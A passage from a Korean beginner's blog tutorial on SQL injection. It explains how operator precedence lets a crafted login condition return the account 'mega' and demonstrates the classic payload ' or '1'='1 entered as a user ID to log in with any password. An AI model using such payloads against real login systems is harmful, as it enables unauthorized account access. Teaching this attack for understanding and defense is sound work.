'1'='1' and pw='1234'을 비교하면,  and 조건은 비교하는 두 조건이 모두 참이 되어야 하며 1과 1은 같고 비밀번호(pw)도 1234가 맞기 때문에 true가 되게 됩니다. 그다음에 or을 연산하는데 or 연산자는 비교할 때 하나라도 참이라면 참이 되게 됩니다.

 

id='mega' or ('1'='1' and pw='1234') 이렇게 연산이 이뤄지게 되는데 id가 mega인 계정이 DB 내부에 있기 때문에 id='mega'는 참이 되게 됩니다. or 연산은 하나라도 참이면 참이기 때문에 where절이 참이되며 아이디가 mega인 계정을 DB는 반환하게 됩니다.

 

*** id='mega'(이미 여기가 참) or (or 뒤에 falsty한 값이 와도 or 앞에가 이미 참이므로 전체는 참)  ***

 

다시 정리하면, id가 mega인 계정이 DB 내부에 있고(참), or 연산자로 인해 sql 쿼리의 where 절이 전체 적으로 참이 되어 id가 mega인 계정을 가져오게 되는 것입니다. 따라서 해당 로그인 인증 로직을 별다른 필터링없이 그대로 사용 중이라면 비밀번호를 아무거나 입력해도 로그인이 가능하게 됩니다. 아이디만 알고 있다면 sql 쿼리의 where 조건이 전부 참이 되도록 만들 수 있기 때문에 DB는 정상적으로 로그인했을 때와 같은 결과를 반환하게 됩니다.

 

정말로 아무 비밀번호를 입력했을 때 정상적으로 로그인 했을 때 와 같은 결과를 반환하는지 확인해보겠습니다.

아이디: ' or '1'='1 / 비밀번호: (아무거나 입력)
결과

 

결과를 확인해보면 DB가 정상적으로 로그인했을 때와 같은 결과를 반환하고 있다는 것을 알 수 있습니다.


 

이렇게 간단한 실습을 통해 SQL Injection에 대해서 알아봤는데 해당 글은 "SQL injection이 이런 거구나" 정도로 생각하시면 될 거 같습니다. 앞으로는 SQLInjection 종류에 대해 설명하고, 해당 SQL Injection 공격 기법이 어떤 식으로 사용되며 어떻게 DB 데이터를 추출까지 가게 되는지에 대해서 다뤄보겠습니다.

반응형

+ Recent posts